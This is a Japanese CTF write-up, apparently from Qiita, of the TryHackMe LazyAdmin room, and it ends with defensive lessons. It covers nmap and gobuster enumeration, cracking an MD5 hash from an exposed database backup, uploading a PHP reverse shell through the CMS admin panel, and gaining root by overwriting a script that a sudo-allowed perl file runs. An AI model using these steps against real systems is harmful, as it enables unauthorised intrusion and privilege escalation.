2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】LazyAdmin - Writeup

Posted at

はじめに

TryHackMeの "Lazy Admin" というルームのWriteupです。
なまけもののAdminをハックしていきましょう!

  • 難易度 : Easy

image.png

目標

Recon (偵察) → Enumeration (列挙) → GainingAccess (侵入) → PrivEsc (権限昇格)
という流れで進めていきます。
侵入後に user.txt、権限昇格後に root.txt をゲットするのが目標です。

Recon

オープンポート調査

いつも通りnmapでオープンポートを調べていきます。

root@ip-10-10-224-4:~# nmap -Pn -A -T4  10.10.122.134

Starting Nmap 7.60 ( https://nmap.org ) at 2024-02-13 03:19 GMT
Nmap scan report for ip-10-10-122-134.eu-west-1.compute.internal (10.10.122.134)
Host is up (0.0025s latency).
Not shown: 890 closed ports, 108 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 49:7c:f7:41:10:43:73:da:2c:e6:38:95:86:f8:e0:f0 (RSA)
|   256 2f:d7:c4:4c:e8:1b:5a:90:44:df:c0:63:8c:72:ae:55 (ECDSA)
|_  256 61:84:62:27:c6:c3:29:17:dd:27:45:9e:29:cb:90:5e (EdDSA)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 02:34:74:0F:84:CF (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.60%E=4%D=2/13%OT=22%CT=1%CU=43575%PV=Y%DS=1%DC=D%G=Y%M=023474%T
OS:M=65CADFE3%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A
OS:)SEQ(SP=102%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M2301ST11NW7%O2=M23
OS:01ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11NW7%O5=M2301ST11NW7%O6=M2301ST11)
OS:WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=
OS:6903%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N
OS:)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0
OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=
OS:0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   2.53 ms ip-10-10-122-134.eu-west-1.compute.internal (10.10.122.134)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.27 seconds

22(ssh), 80(http)のポートが空いているようです。

Webサイトの偵察

Webサイトを見てみると、Apache2のデフォルトページが表示されました。
開発途中なのでしょうか。

image.png

隠しディレクトリ列挙

gobusterで存在するディレクトリの調査をしていきます。

root@ip-10-10-224-4:~# gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.122.134
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.122.134
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2024/02/13 03:31:38 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/content (Status: 301)
/index.html (Status: 200)
/server-status (Status: 403)
===============================================================
2024/02/13 03:31:39 Finished
===============================================================

contentしか閲覧可能なディレクトリがないですね。
一応ワードリストを変えて以下のコマンドも実行してみましたが新しく怪しいディレクトリを見つけることはできませんでした。

gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt  -x php js html -u http://10.10.122.134

/content

どうやら開発中のようです。

image.png

フッターにPowered by Basic-CMS.ORG と書いてあります。
Basic-CMSという名前のコンテンツマネジメントシステムが使われているようです。

リンクがあるので踏んでみると、Basic-CMSのサイトに飛びました。
あまりサイトがかっこよくないので、架空のCMSなのでしょうか。

image.png

ソースコードを確認すると、開発中のメモのようなものを見つけました。
Webサイトで利用する予定のソースコードでしょうか。Javascriptが使われているようですね。

image.png

サブディレクトリ列挙

サブディレクトリ列挙忘れていた

しばらく他にディレクトリがないか調べていたのですが、/content 配下のディレクトリスキャンもしないといけないですね。

root@ip-10-10-224-4:~# gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.122.134/content
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.122.134/content
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2024/02/13 04:00:49 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.hta (Status: 403)
/.htpasswd (Status: 403)
/_themes (Status: 301)
/as (Status: 301)
/attachment (Status: 301)
/images (Status: 301)
/inc (Status: 301)
/js (Status: 301)
/index.php (Status: 200)
===============================================================
2024/02/13 04:00:49 Finished
===============================================================

気になるディレクトリが見つかったので見ていきましょう。

/content/images

image.png

/content/inc10.10

image.png

下から5つ目にmysql_backup というディレクトリを発見しました。
クリックしてみるとファイルがダウンロードできました。

mysql_backup ファイルを発見

image.png

中身を見てみると、ユーザ名とパスワードのハッシュを発見。
chatGPTに聞いたところmd5のハッシュのようです。

"manager\\";s:6:\\"passwd\\";s:32:\\"42f749ade7f9e195bf475f37a44cafcb\\";

JohnTheRipperでハッシュクラックをしていきます。

root@ip-10-10-246-84:~# echo "42f749ade7f9e195bf475f37a44cafcb" > hash.txt
root@ip-10-10-246-84:~# john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt   hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
+ Password123      (?)
1g 0:00:00:00 DONE (2024-02-13 09:22) 50.00g/s 1689Kp/s 1689Kc/s 1689KC/s classof2011..redcat
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed. 

パスワードが分かりましたね。

Gaining Access

/content/as

ログイン画面のようなものを見つけました。先ほどのパスワードでログインしてきましょう!

image.png

ログインすると、ダッシュボードが表示されました。

ブログのような機能があるようです。
これはリバースシェルを仕込むしかないですね!

image.png

リバースシェルを仕込む

こちらのサイトの "PHP PentestMonkey" というリバースシェルを使いました。

image.png

これをコピペして、、、ペタッと貼ります。

image.png

リスナーを起動しておきます。

nc -lvnp 7000

先ほど仕込んだリバースシェル "Pentest Monkey" をクリックして実行します。

image.png

リバースシェルに成功し、侵入することが出来ました!

root@ip-10-10-246-84:~# nc -lvnp 7000
Listening on [0.0.0.0] (family 0, port 7000)
Connection from 10.10.253.173 44252 received!
Linux THM-Chal 4.15.0-70-generic #79~16.04.1-Ubuntu SMP Tue Nov 12 11:54:29 UTC 2019 i686 i686 i686 GNU/Linux
 11:31:27 up 47 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ whoami
www-data

www-data でログイン出来ているようですね。

シェルの安定化

いつも通り、シェルを安定化しておきます。

$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@THM-Chal:/$ ^Z
[1]+  Stopped                 nc -lvnp 7000
root@ip-10-10-246-84:~# stty raw -echo; fg
nc -lvnp 7000           
www-data@THM-Chal:/$ whoami
www-data
www-data@THM-Chal:/$ export SHELL=bash
www-data@THM-Chal:/$ 

PrivEsc

SUIDかSUDOの脆弱性がないか調査していたら早速見つけました。

www-data@THM-Chal:/$ sudo -l
Matching Defaults entries for www-data on THM-Chal:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on THM-Chal:
    (ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl

/usr/bin/perl /home/itguy/backup.pl だけがsudoで実行できるようです。
/home/itguy/backup.pl を書き換えるのかなと思ったが、書き込み権限がありませんでした。

backup.pl
#!/usr/bin/perl

system("sh", "/etc/copy.sh");

中身を見てみると、/etc/copy.shが呼ばれているようです。

/etc/copy.sh には書き込み権限があったので、シェルで上書きします。

www-data@THM-Chal:/$ echo "/bin/bash"  > /etc/copy.sh

これで/usr/bin/perl /home/itguy/backup.pl を実行すれば、sudo権限でさきほど書き込んだ/bin/bash が実行されるはずです。

www-data@THM-Chal:/$ sudo /usr/bin/perl /home/itguy/backup.pl 
root@THM-Chal:/# whoami
root
root@THM-Chal:/# 

perl /home/itguy/backup.plでも良いと思って勘違いしていた
sudo が必要なようです

rootにログイン出来ました!

root@THM-Chal:/etc# export SHELL=bash
root@THM-Chal:/etc# find / -name user.txt 2>/dev/null
/home/itguy/user.txt
root@THM-Chal:/etc# cat /home/itguy/user.txt 
THM{*******************}
root@THM-Chal:/etc# find / -name root.txt 2>/dev/null
/root/root.txt
root@THM-Chal:/etc# cat /root/root.txt 
THM{********************}
root@THM-Chal:/etc# 

無事2つのフラグが取得できました!!!

あとがき

SweetRiceとは

あとから SweetRice について調べてみたのですが、WordpressのようなCMSのようですね。今回のバージョンは1.5.1なのですが、ExploitDBにコードが載っていたのでこれを使う方法もあったのかもしれません。

ExploitDB - SweetRice1.5.1

任意のファイルアップロードの脆弱性があるようです。

コメント

今まで解いたルームの良い復習になりました。
少し時間かかったポイントは以下の通りです。

  • サブディレクトリ列挙を忘れていた
  • mysql_backupファイルが読めない(→ chatGPTを利用)

防御側としては以下の点に注意しましょう。

  • 適切なアクセス制御
    • mysql_backup のような重要ファイルを見える場所に置かない
  • パスワードリストにあるような脆弱なパスワードを利用しない
  • SUDO権限のある実行ファイルへの書き込み権限の制御

Try Harder!

2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?